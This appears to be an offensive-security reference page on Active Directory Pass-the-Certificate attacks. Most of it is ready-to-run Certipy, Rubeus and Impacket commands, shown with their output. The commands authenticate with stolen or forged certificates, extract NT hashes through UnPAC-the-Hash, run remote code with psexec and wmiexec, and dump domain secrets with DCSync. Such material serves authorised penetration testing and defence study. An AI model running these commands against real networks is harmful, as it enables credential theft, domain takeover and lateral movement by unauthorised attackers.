# Pass-the-Certificate

> Abuse stolen X.509 certificates to authenticate via PKINIT or SChannel, obtaining TGTs or session tokens without requiring plaintext credentials.

- **URL:** https://hackindex.io/platforms/active-directory/lateral-movement/ad-pass-the-certificate
- **Path:** Active Directory > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/active-directory/lateral-movement.md)
- **Published:** 2026-06-11
- **Updated:** 2026-08-11

Pass-the-Certificate uses a valid X.509 certificate to authenticate via Kerberos PKINIT, retrieving a TGT without a password or NT hash. This works even when NTLM authentication is disabled domain-wide. Certificates survive password changes, making them useful for both lateral movement and persistence.

Common certificate sources:

- **ADCS exploitation** (ESC1, ESC4, ESC6): request certificate as any UPN via a vulnerable template
- **Shadow Credentials**: write to msDS-KeyCredentialLink → authenticate via PKINIT
- **Stolen CA key**: forge a certificate for any account
- **Own enrollment**: request a certificate for your own account, use after password rotation

## Authenticate via PKINIT: get TGT or NT hash

Certipy `auth` takes a `.pfx` certificate and authenticates via PKINIT. It returns both a ccache TGT and the account's NT hash via UnPAC-the-Hash. Rubeus does the same from Windows.

#### Kali (Certipy)

**PKINIT authentication with certificate (Certipy)**

```bash
# Authenticate: outputs TGT (ccache) and NT hash
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

# If DC requires -domain flag
certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $TARGET_IP

# Use the ccache TGT
export KRB5CCNAME=administrator.ccache
impacket-psexec $DOMAIN/Administrator@$TARGET_IP -k -no-pass

# Or use the NT hash directly
nxc smb $TARGET_IP -u Administrator -H $NTHASH
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
```

#### Windows (Rubeus)

**PKINIT authentication with certificate (Rubeus)**

```powershell
# On Kali: /usr/share/rubeus/Rubeus.exe
# Request TGT with certificate: /ptt injects directly into session
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt

# UnPAC-the-Hash: retrieve NT hash from PKINIT
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap

# With base64 encoded certificate
.\Rubeus.exe asktgt /user:administrator /certificate:<base64cert> /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt
# [*] Action: Ask TGT
# [*] Using PKINIT with etype aes256_cts_hmac_sha1
# [+] TGT request successful!
# [*] base64(ticket.kirbi):
#       doIFqDCCBaSgAwIBBaEDAgEWo...
#
# [*] Getting credentials using U2U
#   [0] NTLM: fc525c9683e8fe067095ba2ddc971889
```

## Lateral movement with the obtained TGT

Once you have a TGT or NT hash, reach other hosts. The TGT is valid for 10 hours by default; the NT hash is usable indefinitely while the certificate remains valid.

#### Kali (impacket)

**Lateral movement with ccache TGT (Kali)**

```bash
# Set ccache from certipy auth
export KRB5CCNAME=administrator.ccache

# Remote execution: psexec
impacket-psexec $DOMAIN/Administrator@$TARGET_IP -k -no-pass

# Remote execution: wmiexec (stealthier, no service creation)
impacket-wmiexec $DOMAIN/Administrator@$TARGET_IP -k -no-pass

# SMB access
impacket-smbclient $DOMAIN/Administrator@$TARGET_IP -k -no-pass

# DCSync with ticket
impacket-secretsdump $DOMAIN/Administrator@$DC_HOSTNAME -k -no-pass

# Verify access
nxc smb $TARGET_IP -u Administrator -p '' --use-kcache
```

#### Windows (Rubeus + built-in)

**Lateral movement with injected TGT (Windows)**

```powershell
# TGT already injected with /ptt: verify
klist

# Access remote systems
dir \\$TARGET_COMPUTER\C$
Enter-PSSession -ComputerName $TARGET_COMPUTER

# If NT hash retrieved via /getcredentials: use Pass-the-Hash
.\Rubeus.exe pth /user:administrator /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt

# Spawn cmd with ticket
.\Rubeus.exe createnetonly /program:cmd.exe /show
```

## NTLM-restricted environments

When NTLM is blocked via GPO (`Network security: Restrict NTLM`), Pass-the-Hash fails and Pass-the-Ticket with Kerberos is the only path. If you have a certificate for a privileged account, PKINIT works regardless of NTLM restrictions because it authenticates directly with the DC over Kerberos port 88.

Test whether NTLM is restricted:

#### Kali

**Test NTLM restriction and fall back to PKINIT**

```bash
# Test NTLM: if restricted, will return STATUS_NOT_SUPPORTED or AUTH_ERROR
nxc smb $TARGET_IP -u $USER -H $NTHASH

# If NTLM blocked, fall back to Kerberos with ccache
export KRB5CCNAME=administrator.ccache
nxc smb $TARGET_IP -u Administrator -p '' --use-kcache

# Check NTLM policy via LDAP
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
    -b "CN=Default Domain Policy,$BASE_DN" msDS-NtlmSignedUpdateRestriction
```

#### Windows

**Test NTLM restriction (Windows)**

```powershell
# Check if NTLM is restricted on domain
Get-GPO -All | Get-GPOReport -ReportType Xml | Select-String 'NTLM'

# Or check registry on target
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa' /v LmCompatibilityLevel
reg query 'HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters' /v RestrictNTLMInDomain
```

## References

- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - auth subcommand for PKINIT authentication and UnPAC-the-Hash
- [Rubeus (GitHub)](https://github.com/GhostPack/Rubeus) - asktgt /certificate /getcredentials /ptt for Windows-side PKINIT and TGT injection
- [Impacket (GitHub)](https://github.com/fortra/impacket) - psexec, wmiexec, smbclient, secretsdump with -k -no-pass for Kerberos-only lateral movement
